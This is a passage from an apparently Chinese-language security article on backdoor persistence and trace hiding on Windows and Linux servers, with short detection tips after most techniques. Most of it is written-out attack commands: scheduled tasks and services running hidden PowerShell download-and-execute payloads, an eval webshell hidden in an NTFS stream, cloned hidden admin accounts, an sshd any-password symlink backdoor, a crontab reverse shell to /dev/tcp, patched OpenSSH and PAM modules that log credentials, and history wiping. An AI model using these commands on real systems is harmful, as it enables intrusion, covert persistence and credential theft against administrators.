通過(guò)window系統(tǒng)的任務(wù)計(jì)劃程序功能實(shí)現(xiàn)定時(shí)啟動(dòng)某個(gè)任務(wù),執(zhí)行某個(gè)腳本。
使用以下命令可以一鍵實(shí)現(xiàn):
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""容易遇到的問(wèn)題:cmd命令行執(zhí)行單引號(hào)會(huì)被替換成雙引號(hào),故這里使用三個(gè)雙引號(hào)替代。
計(jì)劃腳本每 1 分鐘運(yùn)行一次。
4 服務(wù)自啟動(dòng)
通過(guò)服務(wù)設(shè)置自啟動(dòng),結(jié)合powershell實(shí)現(xiàn)無(wú)文件后門。
使用以下命令可實(shí)現(xiàn):
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" ? sc description KeyName "Just For Test" ? //設(shè)置服務(wù)的描述字符串 sc config Name start= auto ? ? ? ? ? ? ? //設(shè)置這個(gè)服務(wù)為自動(dòng)啟動(dòng) net start Name ? ? ? ? ? ? ? ? ? ? ? ? ? //啟動(dòng)服務(wù)成功創(chuàng)建了一個(gè)自啟動(dòng)服務(wù)
5 WMI后門
在2015年的blackhat大會(huì)上Matt Graeber介紹了一種無(wú)文件后門就是用的WMI。這里可以利用一個(gè)工具powersploit,下面用它的Persistence模塊來(lái)示范一個(gè)簡(jiǎn)單的例子。
Import-Module .\Persistence\Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose6 dll劫持
如果在進(jìn)程嘗試加載一個(gè)DLL時(shí)沒(méi)有指定DLL的絕對(duì)路徑,那么Windows會(huì)嘗試去指定的目錄下查找這個(gè)DLL;如果攻擊者能夠控制其中的某一 個(gè)目錄,并且放一個(gè)惡意的DLL文件到這個(gè)目錄下,這個(gè)惡意的DLL便會(huì)被進(jìn)程所加載,從而造成代碼執(zhí)行。
比較常用的如LPK.dll的劫持:
win7及win7以上系統(tǒng)增加了KnownDLLs保護(hù),需要在注冊(cè)表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 “l(fā)pk.dll” 才能順利劫持:
7 COM劫持
利用COM劫持技術(shù),最為關(guān)鍵的是dll的實(shí)現(xiàn)以及CLSID的選擇,通過(guò)修改CLSID下的注冊(cè)表鍵值,實(shí)現(xiàn)對(duì)CAccPropServicesClass和MMDeviceEnumerator劫持,而系統(tǒng)很多正常程序啟動(dòng)時(shí)需要調(diào)用這兩個(gè)實(shí)例。這種方法可以繞過(guò)Autoruns對(duì)啟動(dòng)項(xiàng)的檢測(cè)。
8 遠(yuǎn)程控制
遠(yuǎn)控木馬是一種惡意程序,其中包括在目標(biāo)計(jì)算機(jī)上用于管理控制的后門。遠(yuǎn)程訪問(wèn)木馬通常與用戶請(qǐng)求的程序(如游戲程序)一起,是一種看不見(jiàn)的下載,或作為電子郵件附件發(fā)送。一旦主機(jī)系統(tǒng)被攻破,入侵者可以利用它來(lái)向其他易受感染的計(jì)算機(jī)分發(fā)遠(yuǎn)程訪問(wèn)木馬,從而建立僵尸網(wǎng)絡(luò)。
一般分為客戶端和服務(wù)端,如:灰鴿子、上興遠(yuǎn)控、夢(mèng)想時(shí)代、QuasarRAT等。
?管理員在平時(shí)運(yùn)維過(guò)程應(yīng)當(dāng)保持警惕,掌握一定的入侵排查技巧,及時(shí)進(jìn)行系統(tǒng)補(bǔ)丁更新,定期對(duì)服務(wù)器安全檢查,才能有效地預(yù)防后門。
1處理 隱藏(后門)文件
攻擊者在獲取服務(wù)器權(quán)限后,通常會(huì)用一些后門來(lái)維持權(quán)限,為使后門保持的更久些,一般會(huì)隱藏好它,使之不易被管理員發(fā)現(xiàn)。
1.隱藏文件
利用文件屬性
最簡(jiǎn)單的一種隱藏文件的方式,文件右鍵屬性,勾選隱藏,點(diǎn)擊確定后,在這個(gè)文件里看不到剛剛的文件了。
?
如果要讓文件顯示出來(lái),就點(diǎn)擊查看,勾選顯示隱藏的文件,文件就顯示出來(lái)。
?
如何真正隱藏文件?
使用Attrib +s +a +h +r命令就是把原本的文件夾增加了系統(tǒng)文件屬性、存檔文件屬性、只讀文件屬性和隱藏文件屬性。
attrib +s +a +h +r D:\test\project\test.txt
這樣就做到了真正的隱藏,不管你是否顯示隱藏文件,此文件夾都看不見(jiàn)。
破解隱藏文件:
打開(kāi)電腦文件夾選項(xiàng)卡,取消”隱藏受保護(hù)的操作系統(tǒng)文件“勾選,把”隱藏文件和文件夾“下面的單選選擇“顯示隱藏的文件、文件夾和驅(qū)動(dòng)器”。
?
利用ADS隱藏文件內(nèi)容
在服務(wù)器上echo一個(gè)數(shù)據(jù)流文件進(jìn)去,比如index.php是網(wǎng)頁(yè)正常文件,我們可以這樣子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg這樣子就生成了一個(gè)不可見(jiàn)的shell hidden.jpg,常規(guī)的文件管理器、type命令,dir命令、del命令發(fā)現(xiàn)都找不出那個(gè)hidden.jpg的?!?/p> 問(wèn)題1:如何查看index.php:hidden.jpg內(nèi)容呢? ?進(jìn)入文件所在目錄,notepad index.php:hidden.jpg ? 或者 dir /r問(wèn)題2:如何刪除index.php:hidden.jpg? ?直接刪除index.php即可
驅(qū)動(dòng)級(jí)文件隱藏
驅(qū)動(dòng)隱藏我們可以用過(guò)一些軟件來(lái)實(shí)現(xiàn),軟件名字叫:Easy File Locker
下載鏈接: XOSLAB.COM
如果你在網(wǎng)站目錄未查找到相關(guān)文件,且系統(tǒng)目錄存在存在以下文件:
c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys那么你,應(yīng)該是遭遇了驅(qū)動(dòng)級(jí)文件隱藏。
如何清除?
1、查詢服務(wù)狀態(tài): sc qc xlkfs 2、停止服務(wù): net stop xlkfs 服務(wù)停止以后,經(jīng)驅(qū)動(dòng)級(jí)隱藏的文件即可顯現(xiàn) 3、刪除服務(wù): sc delete xlkfs 4、刪除系統(tǒng)目錄下面的文件,重啟系統(tǒng),確認(rèn)服務(wù)已經(jīng)被清理了。隱藏文件的方式還有很多,比如偽裝成一個(gè)系統(tǒng)文件夾圖標(biāo),利用畸形文件名、保留文件名無(wú)法刪除,甚至取一個(gè)與系統(tǒng)文件很像的文件名并放在正常目錄里面,很難辨別出來(lái)。
這些隱藏文件的方式早已不再是秘密,而更多的惡意程序開(kāi)始實(shí)現(xiàn)“無(wú)文件”攻擊,這種方式極難被發(fā)現(xiàn)。
2 隱藏賬號(hào)
window 隱藏系統(tǒng)用戶操作,CMD命令行下,建立了一個(gè)用戶名為“test$”,密碼為“abc123!”的簡(jiǎn)單隱藏賬戶,并且把該隱藏賬戶提升為了管理員權(quán)限。
?
PS:CMD命令行使用"net user",看不到"test$"這個(gè)賬號(hào),但在控制面板和本地用戶和組是可以顯示此用戶的。
克隆賬號(hào)制作過(guò)程:
1、“開(kāi)始”→“運(yùn)行”,輸入“regedt32.exe”后回車,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,單機(jī)右建權(quán)限,把名叫:administrator的用戶給予:完全控制以及讀取的權(quán)限,在后面打勾就行,然后關(guān)閉注冊(cè)表編輯器,再次打開(kāi)即可。
?
2、來(lái)到注冊(cè)表編輯器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”處,點(diǎn)擊test$用戶,得到在右邊顯示的鍵值中的“類型”一項(xiàng)顯示為0x3ec,找到箭頭所指目錄。
?
3、找到administrator所對(duì)應(yīng)的的項(xiàng)為“000001F4”,將“000001F4”的F值復(fù)制到“000003EC”的F值中,保存。
4、分別test$和“000003EC導(dǎo)出到桌面,刪除test$用戶 net user test$ /del
?
5、將剛才導(dǎo)出的兩個(gè)后綴為.reg的注冊(cè)表項(xiàng)導(dǎo)入注冊(cè)表中。這樣所謂的隱藏賬戶就創(chuàng)建好了。PS:不管你是在命令提示符下輸入net user 或者在系統(tǒng)用戶管理界面都是看不到test$這個(gè)賬戶的,只有在注冊(cè)表中才能看得到。
檢測(cè)和清理方法:
使用D盾_web查殺工具,使用克隆賬號(hào)檢測(cè)功能進(jìn)行查看,可檢測(cè)出隱藏、克隆賬號(hào)。
?
3 端口復(fù)用
通過(guò)端口復(fù)用來(lái)達(dá)到隱藏端口的目的,在Window下,如何實(shí)現(xiàn)端口復(fù)用呢?
前陣子,@Twi1ight公布了一種基于內(nèi)置系統(tǒng)服務(wù)的端口復(fù)用后門方法,利用WinRM服務(wù),一條命令實(shí)現(xiàn)端口復(fù)用后門:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
一般開(kāi)啟WinRM服務(wù)作為遠(yuǎn)程管理,但還是第一次聽(tīng)到可以作為端口復(fù)用,一種簡(jiǎn)單容易實(shí)現(xiàn)的端口復(fù)用方式。假設(shè),攻擊者已獲取到administrator賬號(hào)密碼,連接遠(yuǎn)程WinRM服務(wù)執(zhí)行命令:
當(dāng)執(zhí)行這條命令的同時(shí),將在安全日志中留下痕跡,
另外,可以通過(guò)代碼實(shí)現(xiàn)端口復(fù)用重定向,工具:GitHub - crabkun/switcher: 一個(gè)多功能的端口轉(zhuǎn)發(fā)/端口復(fù)用工具,支持轉(zhuǎn)發(fā)本地或遠(yuǎn)程地址的端口,支持正則表達(dá)式轉(zhuǎn)發(fā)(實(shí)現(xiàn)端口復(fù)用)。
4 進(jìn)程注入
進(jìn)程注入,一直是病毒木馬的慣用手段,同時(shí),它也是一種隱藏技術(shù)。在常見(jiàn)的滲透測(cè)試框架中,進(jìn)程注入是怎么做的以及我們?nèi)绾瓮ㄟ^(guò)工具排查出來(lái)?
meterpreter會(huì)話注入
當(dāng)前權(quán)限無(wú)法獲取hash值,查看目前系統(tǒng)進(jìn)程
?
通過(guò)migrate將進(jìn)程注入到system進(jìn)程后,成功獲得hash值。
?
Window后門排查:
通過(guò)TCPview顯示已建立的TCP連接,我們可以看到異常的連接,同時(shí),惡意軟件將以綠色顯示不到一秒鐘,然后變成紅色消失,如此循環(huán)。
?
Empire會(huì)話進(jìn)程注入
通過(guò)psinject模塊進(jìn)行會(huì)話注入,直接輸入ps選擇一個(gè)SYSTEM權(quán)限的進(jìn)程PID,使用進(jìn)程注入模塊,來(lái)獲取權(quán)限。如下圖:
?
Window后門排查:利用process monitor或者火絨劍監(jiān)控進(jìn)程都可以定位到注入進(jìn)程。
?
?
Cobalt Strike進(jìn)程注入
選擇進(jìn)程,點(diǎn)擊inject,隨后選擇監(jiān)聽(tīng)器,點(diǎn)擊choose,即可發(fā)現(xiàn)Cobaltstrike彈回了目標(biāo)機(jī)的一個(gè)新會(huì)話,這個(gè)會(huì)話就是成功注入到某進(jìn)程的beacon。
?
?
Window后門排查:利用process monitor捕捉通信過(guò)程,有規(guī)律的請(qǐng)求取決于sleep設(shè)置的間隔。
?Linux
1、一句話添加用戶和密碼
添加普通用戶:
# 創(chuàng)建一個(gè)用戶名guest,密碼123456的普通用戶 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest ? # useradd -p 方法 ` ` 是用來(lái)存放可執(zhí)行的系統(tǒng)命令,"$()"也可以存放命令執(zhí)行語(yǔ)句 useradd -p "$(openssl passwd -1 123456)" guest# chpasswd方法 useradd guest;echo 'guest:123456'|chpasswd# echo -e方法 useradd test;echo -e "123456\n123456\n" |passwd test添加root用戶:
# 創(chuàng)建一個(gè)用戶名guest,密碼123456的root用戶 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test可疑用戶排查技巧:
# 查詢特權(quán)用戶特權(quán)用戶(uid 為0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd # 查詢可以遠(yuǎn)程登錄的帳號(hào)信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow # 除root帳號(hào)外,其他帳號(hào)是否存在sudo權(quán)限。如非管理需要,普通帳號(hào)應(yīng)刪除sudo權(quán)限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"2、SUID Shell
Suid shell是一種可用于以擁有者權(quán)限運(yùn)行的shell。
配合普通用戶權(quán)限使用 cp /bin/bash /tmp/shell chmod u+s /tmp/shell使用guest用戶登錄就可疑獲取root權(quán)限。
?
備注:bash2針對(duì)suid做了一些防護(hù)措施,需要使用-p參數(shù)來(lái)獲取一個(gè)root shell。另外,普通用戶執(zhí)行這個(gè)SUID shell時(shí),一定要使用全路徑。
排查技巧:
# 在Linux中查找SUID設(shè)置的文件 find . -perm /4000 # 在Linux中查找使用SGID設(shè)置的文件 find . -perm /2000 # 取消s權(quán)限 chmod u-s /tmp/shell3、ssh公私鑰免密登錄
在客戶端上生成一對(duì)公私鑰,然后把公鑰放到服務(wù)器上(~/.ssh/authorized_keys),保留私鑰。當(dāng)ssh登錄時(shí),ssh程序會(huì)發(fā)送私鑰去和服務(wù)器上的公鑰做匹配。如果匹配成功就可以登錄了。
客戶端:
ssh-keygen -t rsa過(guò)程中按三次回車,執(zhí)行結(jié)束如下圖:
?
進(jìn)入/root/.ssh/文件夾,查看文件夾的內(nèi)容,如下所示:
?
其中 id_rsa為私鑰,id_rsa.pub為公鑰,接下來(lái)打開(kāi)id_rsa.pub,將內(nèi)容復(fù)制到服務(wù)器。將id_rsa.pub的內(nèi)容追加到/root/.ssh/authorized_keys內(nèi),配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
4、軟連接
在sshd服務(wù)配置運(yùn)行PAM認(rèn)證的前提下,PAM配置文件中控制標(biāo)志為sufficient時(shí)只要pam_rootok模塊檢測(cè)uid為0即root權(quán)限即可成功認(rèn)證登陸。通過(guò)軟連接的方式,實(shí)質(zhì)上PAM認(rèn)證是通過(guò)軟連接的文件名 /tmp/su 在/etc/pam.d/目錄下尋找對(duì)應(yīng)的PAM配置文件(如: /etc/pam.d/su),任意密碼登陸的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密碼登陸,除了su中之外還有chsh、chfn同樣可以。
在目標(biāo)服務(wù)器上執(zhí)行一句話后門:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888執(zhí)行完之后,任何一臺(tái)機(jī)器ssh root@IP -p 8888,輸入任意密碼,成功登錄。
排查技巧:進(jìn)程、端口都可以發(fā)現(xiàn)異常, kill -s 9 PID 結(jié)束進(jìn)程即可清除后門。
5、SSH wrapper
首先啟動(dòng)的是/usr/sbin/sshd,腳本執(zhí)行到getpeername這里的時(shí)候,正則匹配會(huì)失敗,于是執(zhí)行下一句,啟動(dòng)/usr/bin/sshd,這是原始sshd。原始的sshd監(jiān)聽(tīng)端口建立了tcp連接后,會(huì)fork一個(gè)子進(jìn)程處理具體工作。這個(gè)子進(jìn)程,沒(méi)有什么檢驗(yàn),而是直接執(zhí)行系統(tǒng)默認(rèn)的位置的/usr/sbin/sshd,這樣子控制權(quán)又回到腳本了。此時(shí)子進(jìn)程標(biāo)準(zhǔn)輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執(zhí)行sh給個(gè)shell
簡(jiǎn)單點(diǎn)就是從sshd fork出一個(gè)子進(jìn)程,輸入輸出重定向到套接字,并對(duì)連過(guò)來(lái)的客戶端端口進(jìn)行了判斷。
服務(wù)端:
cd /usr/sbin/ mv sshd ../bin/ echo '#!/usr/bin/perl' >sshd echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart客戶端:
socat STDIO TCP4:target_ip:22,sourceport=13377 ? #如果你想修改源端口,可以用python的struct標(biāo)準(zhǔn)庫(kù)實(shí)現(xiàn)。其中x00x00LF是19526的大端形式,便于傳輸和處理。 >>> import struct >>> buffer = struct.pack('>I6',19526) >>> print repr(buffer) '\x00\x00LF' >>> buffer = struct.pack('>I6',13377) >>> print buffer 4A?
排查技巧:
# ls -al /usr/sbin/sshd # cat /usr/sbin/sshd 可通過(guò)重裝ssh服務(wù)恢復(fù)。6、strace后門
通過(guò)命令替換動(dòng)態(tài)跟蹤系統(tǒng)調(diào)用和數(shù)據(jù),可以用來(lái)記錄用戶ssh、su、sudo的操作。
#vim /etc/bashrc alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' # source /root/.bashrc?
排查技巧:使用alias即可發(fā)現(xiàn)異常。
?
7、crontab反彈shell
crontab命令用于設(shè)置周期性被執(zhí)行的指令。新建shell腳本,利用腳本進(jìn)行反彈。
a、創(chuàng)建shell腳本,例如在/etc/evil.sh
#!/bin/bash bash -i >& /dev/tcp/192.168.28.131/12345 0>&1chmod +sx /etc/evil.sh
b、crontab -e 設(shè)置定時(shí)任務(wù)
#每一分鐘執(zhí)行一次 */1 * * * * root /etc/evil.sh重啟crond服務(wù),service crond restart,然后就可以用nc接收shell。
?
排查技巧:
# 查看可疑的定時(shí)任務(wù)列表 crontab -e8、openssh后門
利用openssh后門,設(shè)置SSH后門密碼及root密碼記錄位置,隱蔽性較強(qiáng),不易被發(fā)現(xiàn)。
a、備份SSH配置文件 mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old ? b、解壓并安裝補(bǔ)丁 tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff ? c、記錄用戶名和密碼的文件位置及其密碼 vi includes.h#define ILOG "/tmp/1.txt" ? ? ? ? ? ? //記錄登錄本機(jī)的用戶名和密碼#define OLOG "/tmp/2.txt" ? ? ? ? ? ? //記錄本機(jī)登錄遠(yuǎn)程的用戶名和密碼#define SECRETPW "123456789" ? ? ? ? //后門的密碼 ? d、修改版本信息 vi version.h#define SSH_VERSION "填入之前記下來(lái)的版本號(hào),偽裝原版本"#define SSH_PORTABLE "小版本號(hào)"e、安裝并編譯 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make && make install service sshd restart ? f、對(duì)比原來(lái)的配置文件,使配置文件一致,然后修改文件日期。 ? touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config ? g、清除操作記錄 export HISTFILE=/dev/null export HISTSIZE=0 echo >/root/.bash_history //清空操作日志排查技巧:利用strace找出ssh后門.
# 1、獲取可疑進(jìn)程PI ps aux | grep sshd # 2、跟蹤sshd PID strace -o aa -ff -p PID # 3、查看記錄密碼打開(kāi)文件 grep open sshd* | grep -v -e No -e null -e denied| grep WR ?9、PAM后門
PAM (Pluggable Authentication Modules )是由Sun提出的一種認(rèn)證機(jī)制。它通過(guò)提供一些動(dòng)態(tài)鏈接庫(kù)和一套統(tǒng)一的API,將系統(tǒng)提供的服務(wù)和該服務(wù)的認(rèn)證方式分開(kāi),使得系統(tǒng)管理員可以靈活地根據(jù)需要給不同的服務(wù)配置不同的認(rèn)證方式而無(wú)需更改服務(wù)程序,同時(shí)也便于向系統(tǒng)中添加新的認(rèn)證手段。PAM最初是集成在Solaris中,目前已移植到其它系統(tǒng)中,如Linux、SunOS、HP-UX 9.0等。
利用方法:
1、獲取目標(biāo)系統(tǒng)所使用的PAM版本,下載對(duì)應(yīng)版本的pam版本 2、解壓縮,修改pam_unix_auth.c文件,添加萬(wàn)能密碼 3、編譯安裝PAM 4、編譯完后的文件在:modules/pam_unix/.libs/pam_unix.so,復(fù)制到/lib64/security中進(jìn)行替換,即可使用萬(wàn)能密碼登陸,并將用戶名密碼記錄到文件中。排查技巧:
# 1、通過(guò)Strace跟蹤ssh ps axu | grep sshd strace -o aa -ff -p PID grep open aa* | grep -v -e No -e null -e denied| grep WR # 2、檢查pam_unix.so的修改時(shí)間 stat /lib/security/pam_unix.so ? ? #32位 stat /lib64/security/pam_unix.so ? #64位10、rookit后門
Mafix是一款常用的輕量應(yīng)用級(jí)別Rootkits,是通過(guò)偽造ssh協(xié)議漏洞實(shí)現(xiàn)遠(yuǎn)程登陸的特點(diǎn)是配置簡(jiǎn)單并可以自定義驗(yàn)證密碼和端口號(hào)。
利用方法:安裝完成后,使用ssh 用戶@IP -P 配置的端口,即可遠(yuǎn)程登錄。
連接后的截圖:
?
排查技巧:查看端口是否異常,RPM check查看命令是否被替換。
1 處理隱藏文件
攻擊者在獲取服務(wù)器權(quán)限后,會(huì)通過(guò)一些技巧來(lái)隱藏自己的蹤跡和后門文件,本節(jié)介紹Linux下的幾種隱藏技術(shù)。
Linux 下創(chuàng)建一個(gè)隱藏文件:touch .test.txt
touch 命令可以創(chuàng)建一個(gè)文件,文件名前面加一個(gè) 點(diǎn) 就代表是隱藏文件,如下圖:
一般的Linux下的隱藏目錄使用命令ls -l是查看不出來(lái)的,只能查看到文件及文件夾,查看Linux下的隱藏文件需要用到命令:ls -al
這里,我們可以看到在/tmp下,默認(rèn)存在多個(gè)隱藏目錄,這些目錄是惡意文件常用來(lái)藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
2 隱藏文件時(shí)間戳
Unix 下藏后門必須要修改時(shí)間,否則很容易被發(fā)現(xiàn),直接利用 touch 就可以了。
比如參考 index.php 的時(shí)間,再賦給 webshell.php,結(jié)果兩個(gè)文件的時(shí)間就一樣了。
利用方法
touch -r index.php webshell.php
或者直接將時(shí)間戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
3 隱藏權(quán)限
在Linux中,使用chattr命令來(lái)防止root和其他管理用戶誤刪除和修改重要文件及目錄,此權(quán)限用ls -l是查看不出來(lái)的,從而達(dá)到隱藏權(quán)限的目的。
這個(gè)技巧常被用在后門,變成了一些難以清除的后門文件,令很多新手朋友感到頭疼。
chattr +i evil.php 鎖定文件 lsattr evil.php ? 屬性查看 chattr -i evil.php 解除鎖定 rm -rf 1.evil.php 刪除文件?
4 隱藏歷史操作命令
在shell中執(zhí)行的命令,不希望被記錄在命令行歷史中,如何在linux中開(kāi)啟無(wú)痕操作模式呢?
技巧一:只針對(duì)你的工作關(guān)閉歷史記錄
[space]set +o history 備注:[space] 表示空格。并且由于空格的緣故,該命令本身也不會(huì)被記錄。上面的命令會(huì)臨時(shí)禁用歷史功能,這意味著在這命令之后你執(zhí)行的所有操作都不會(huì)記錄到歷史中,然而這個(gè)命令之前的所有東西都會(huì)原樣記錄在歷史列表中。
要重新開(kāi)啟歷史功能,執(zhí)行下面的命令:
[Space]set -o history 它將環(huán)境恢復(fù)原狀,也就是你完成了你的工作,執(zhí)行上述命令之后的命令都會(huì)出現(xiàn)在歷史中。技巧二:從歷史記錄中刪除指定的命令
假設(shè)歷史記錄中已經(jīng)包含了一些你不希望記錄的命令。這種情況下我們?cè)趺崔k?很簡(jiǎn)單。通過(guò)下面的命令來(lái)刪除:
history | grep "keyword"輸出歷史記錄中匹配的命令,每一條前面會(huì)有個(gè)數(shù)字。從歷史記錄中刪除那個(gè)指定的項(xiàng):
history -d [num]這種技巧是關(guān)鍵記錄刪除,或者我們可以暴力點(diǎn),比如前150行是用戶的正常操作記錄,150以后是攻擊者操作記錄。我們可以只保留正常的操作,刪除攻擊痕跡的歷史操作記錄,這里,我們只保留前150行:
sed -i '150,$d' .bash_history5 隱藏遠(yuǎn)程SSH登陸記錄
#隱身登錄系統(tǒng),不會(huì)被w、who、last等指令檢測(cè)到。
ssh -T root@127.0.0.1 /bin/bash -i不記錄ssh公鑰在本地.ssh目錄中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i6 端口復(fù)用
通過(guò)端口復(fù)用來(lái)達(dá)到隱藏端口的目的,在Linux下,如何實(shí)現(xiàn)端口復(fù)用呢?
第一種方式:通過(guò)SSLH在同一端口上共享SSH與HTTPS
#安裝SSLHsudo apt-get install sslh#配置SSLH編輯 SSLH 配置文件:sudo vi /etc/default/sslh1、找到下列行:Run=no 將其修改為:Run=yes2、修改以下行以允許 SSLH 在所有可用接口上偵聽(tīng)端口 443DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"第二種方式:利用IPTables進(jìn)行端口復(fù)用
# 端口復(fù)用鏈 iptables -t nat -N LETMEIN # 端口復(fù)用規(guī)則 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 開(kāi)啟開(kāi)關(guān) iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 關(guān)閉開(kāi)關(guān) iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN利用方式:
#開(kāi)啟復(fù)用 echo threathuntercoming | socat - tcp:192.168.28.128:80 #ssh使用80端口進(jìn)行登錄 ssh -p 80 root@192.168.28.128 #關(guān)閉復(fù)用 echo threathunterleaving | socat - tcp:192.168.28.128:80?
具體文章詳見(jiàn):遠(yuǎn)程遙控 IPTables 進(jìn)行端口復(fù)用
7 進(jìn)程隱藏
管理員無(wú)法通過(guò)相關(guān)命令工具查找到你運(yùn)行的進(jìn)程,從而達(dá)到隱藏目的,實(shí)現(xiàn)進(jìn)程隱藏。
第一種方法:libprocesshider
github項(xiàng)目地址:https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 來(lái)實(shí)現(xiàn)系統(tǒng)函數(shù)的劫持,實(shí)現(xiàn)如下
# 下載程序編譯 git clone https://github.com/gianlucaborello/libprocesshider.git cd libprocesshider/ && make # 移動(dòng)文件到/usr/local/lib/目錄下 cp libprocesshider.so /usr/local/lib/ # 把它加載到全局動(dòng)態(tài)連接局 echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload測(cè)試:運(yùn)行 evil_script.py,
此時(shí)發(fā)現(xiàn)在top 與 ps 中都無(wú)法找到 evil_script.py, cpu 使用率高,但是卻找不到任何占用cpu高的程序。
?
如何在Linux中發(fā)現(xiàn)隱藏的進(jìn)程,
unhide 是一個(gè)小巧的網(wǎng)絡(luò)取證工具,能夠發(fā)現(xiàn)那些借助rootkit,LKM及其它技術(shù)隱藏的進(jìn)程和TCP / UDP端口。這個(gè)工具在Linux,UNIX類,MS-Windows等操作系統(tǒng)下都可以工作。
下載地址:Unhide homepage - Welcome
# 安裝 sudo yum install unhide # 使用 unhide [options] test_list使用unhide proc發(fā)現(xiàn)隱藏進(jìn)程evil_script.py,如下圖所示:
?
第二種方法:進(jìn)程注入工具linux-inject
linux-inject是用于將共享對(duì)象注入Linux進(jìn)程的工具
github項(xiàng)目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process
# 下載程序編譯 git clone https://github.com/gaffe23/linux-inject.git cd linux-inject && make # 測(cè)試進(jìn)程 ./sample-target # 進(jìn)程注入 ./inject -n sample-target sample-library.so驗(yàn)證進(jìn)程注入成功,如下圖所示:
Cymothoa是一款隱秘的后門工具。它通過(guò)向目標(biāo)主機(jī)活躍的進(jìn)程注入惡意代碼,從而獲取和原進(jìn)程相同的權(quán)限。該工具最大的優(yōu)點(diǎn)就是不創(chuàng)建新的進(jìn)程,不容易被發(fā)現(xiàn)。
下載地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
# 下載解壓 wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz tar zxvf cymothoa-1-beta.tar.gz # cd cymothoa-1-beta && make ?提供安全建議
將事件根除之后,提供安全建議
總結(jié)
- 上一篇: 信息系统自动决策机制的使用
- 下一篇: 中国筋膜枪行业销售状况及营销前景预测报告